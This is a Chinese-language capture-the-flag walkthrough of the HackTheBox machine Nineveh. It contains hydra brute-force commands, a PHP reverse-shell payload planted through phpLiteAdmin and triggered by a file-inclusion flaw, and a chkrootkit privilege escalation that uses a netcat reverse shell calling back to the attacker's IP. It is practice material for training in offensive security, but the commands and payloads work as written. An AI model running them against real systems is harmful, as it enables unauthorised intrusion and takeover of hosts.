HackTheBox >_ Nineveh_43
Nineveh_43

端口信息
rustscan 10.10.10.43 -b 924 -t 1500 --no-nmap

nmap -sC -sV -T5 -Pn -oX sploit.xml -vvv -p 80,443 10.10.10.43 ; searchsploit --nmap sploit.xml

初始侦查



加入hosts

无变化
80

/department


443


phpliteadmin 1.9.3是存在漏洞的但是需要先登陆,尝试几个弱密码和默认密码,无法进入,暂时搁置
开始进攻
80
回头看80的登陆页面
测试了mysql登陆绕过,但是失败。
继续测试发现正确用户名和非正确用户名是能区别的


参照源码中,管理员应该是admin,测试正确,已知用户名并且有密码错误回显,抓包,使用hydra进行爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -vV -I

admin:1q2w3e4r5t
登陆成功,用此凭证尝试443端口phpliteadmin登陆无效

点击nots

check your serect folder to get in!
http://10.10.10.43/department/manage.php?notes=serect/ninevehNotes.txt
测试了lfi但是没有收获
443端口同样有错误密码回显

尝试暴力phpliteadmin
同样抓包爆破

注意使用https-post-form
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -vV -I

password123

登陆成功

24044
根据漏洞信息,我们可以简单的通过新建db的方式在服务器生成我们想要的php文件,同时使用80端口的lfi对我们生成对shell php文件进行包含,即可获得shell
已经存在对test数据库 目录为/var/tmp/test,我们生成的php也会在/var/tmp目录下

因为这个太简单了就跳过测试的部分,正常应该先新建测试的php,测试包含,看能不能形成完整利用,但是这个机器做到这里,已经没有悬念了,直接利用
新建数据库evil.php


目录暴露为/var/tmp/evil.php
为evil新建表

增加数据,填入payload

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1337 >/tmp/f"); ?>

建立好监听

无法成功包含。
经过反复测试包含时必须含有ninevehNotes的字样,才能正常执行

rename database
重命名为ninevehNotes.php


http://10.10.10.43/department/manage.php?notes=/var/tmp/ninevehNotes.php
www-data shell
监听处获得shell

python3 -c "import pty; pty.spawn(['/bin/bash']);"


图片下载回本地分析
在过程中发现
strings nineveh.png

有ssh key
但是扫描没发现打开的ssh端口
敲端口
查看设置文件 /etc/knockd.conf

571,290,911
knock -v 10.10.10.43 571 290 911

ssh 连接
ssh -i id_rsa amrois@nineveh.htb

python -m SimpleHTTPServer 8080

/usr/sbin/report-reset.sh
存在计划任务,可惜和root没什么关系

是个定期删除/report下文件的脚本


chkrootkit
Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit存在本地提权漏洞。
这个漏洞利用时只需在/tmp下制作一个update的可执行文件
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.30 1338 >/tmp/f" > /tmp/update
chkrootkit 扫描到时会以root执行

稍后在监听处获得rootshell

同样可以内核提权。4.4有很多可以利用的漏洞
